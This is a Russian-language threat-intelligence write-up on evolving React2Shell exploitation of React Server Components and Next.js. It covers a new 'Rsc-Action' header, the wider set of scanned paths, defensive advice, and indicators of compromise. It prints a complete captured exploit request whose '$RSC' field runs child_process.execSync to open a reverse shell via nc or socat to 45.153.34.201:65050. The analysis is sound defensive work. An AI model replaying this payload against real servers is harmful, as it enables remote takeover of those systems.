В последние недели специалисты по кибербезопасности отмечают устойчивую волну попыток эксплуатации уязвимости, известной как React2Shell. Эта уязвимость позволяет злоумышленникам выполнять произвольные команды на сервере через уязвимые компоненты фреймворков React. Однако, по последним наблюдениям, атаки не стоят на месте: появляются новые варианты эксплойтов, а злоумышленники активно экспериментируют с различными конечными точками для сканирования.
Описание
Новый наблюдаемый вариант эксплойта демонстрирует попытку адаптации под различные конфигурации серверов. В частности, в HTTP-запросе появился заголовок "Rsc-Action", который, как предполагают аналитики, нацелен на сайты, использующие React Server Components (RSC) без фреймворка Next.js. При этом традиционный для подобных атак заголовок "Next-Action" также сохраняется. Это указывает на попытку злоумышленников расширить охват и повысить шансы на успешное проникновение, тестируя системы с разными настройками.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | POST /app HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Next-Action: 0 Rsc-Action: 0 Content-Length: 388 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: */* Connection: close ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="$RSC" Content-Type: application/json {"0":{"0":{"0":{"constructor":{"constructor":{"constructor":"function() { const {execSync} = require('child_process'); return execSync('\n(nc 45.153.34.201 65050||socat - tcp:45.153.34.201:65050)|sh\n').toString(); }"}}}}}} ------WebKitFormBoundary7MA4YWxkTrZu0gW-- |
Основная механика атаки остаётся прежней. Зловредный запрос, маскирующийся под легитимные данные формы, содержит внедрённый JavaScript-код в поле "$RSC". Данный код использует модуль "child_process" Node.js для выполнения вредоносной полезной нагрузки (payload). В данном случае команда пытается установить обратную оболочку (reverse shell) на сервер злоумышленника по IP-адресу 45.153.34[.]201 через порт 65050, используя утилиты "nc" (netcat) или "socat". Установка обратной оболочки предоставляет злоумышленнику полный контроль над скомпрометированной системой.
Важным изменением в тактике является расширение списка целевых URL для сканирования. Если ранее атаки часто фокусировались на корневой странице ("/"), то теперь автоматизированные сканеры проверяют такие пути, как "/api", "/app", "/api/route" и "/_next/server". Эта диверсификация может свидетельствовать о том, что первоначальный пул легкоуязвимых систем сокращается. Следовательно, злоумышленники вынуждены искать альтернативные пути внедрения, проверяя менее очевидные маршруты, которые также могут быть подвержены уязвимости из-за неправильной конфигурации.
Интересно, что на момент анализа командно-контрольный сервер с IP 45.153.34[.]201, который должен был принимать входящие соединения от скомпрометированных систем, перестал отвечать. Это может означать, что конкретная кампания временно приостановлена, инфраструктура перемещена или выведена из строя. Тем не менее, сами сканирующие запросы продолжают фиксироваться в логах. Следовательно, угроза остаётся актуальной, так как злоумышленники могут в любой момент обновить адрес для получения доступа.
Данный инцидент наглядно демонстрирует классический цикл развития киберугроз. Изначально появляется уязвимость в популярном программном обеспечении. Затем следует волна массовых атак по шаблону. После того как системы начинают патчиться или блокировать очевидные векторы, злоумышленники модифицируют свои инструменты, усложняя детектирование и расширяя поверхность атаки. Угроза React2Shell переходит в более целенаправленную и изощрённую фазу.
Для защиты эксперты рекомендуют разработчикам и администраторам предпринять ряд шагов. В первую очередь, необходимо незамедлительно обновить все зависимости, включая Next.js, React и связанные библиотеки, до последних версий. Кроме того, следует проводить регулярный аудит конфигурации серверов, ограничивая возможность выполнения произвольных системных команд из приложения. Также критически важно настроить мониторинг сетевой активности и веб-запросов на предмет аномалий, таких как попытки выполнения подозрительных команд или соединения с неизвестными внешними IP-адресами.
В конечном итоге, эволюция атак на основе React2Shell служит очередным напоминанием о важности комплексного подхода к безопасности. Применение принципа минимальных привилегий, регулярное обновление софта и наличие эффективного мониторинга (SOC) остаются ключевыми элементами защиты от подобных постоянно меняющихся угроз.
Индикаторы компрометации
IPv4
- 45.153.34.201
IPv4 Port Combinations
- 45.153.34.201:65050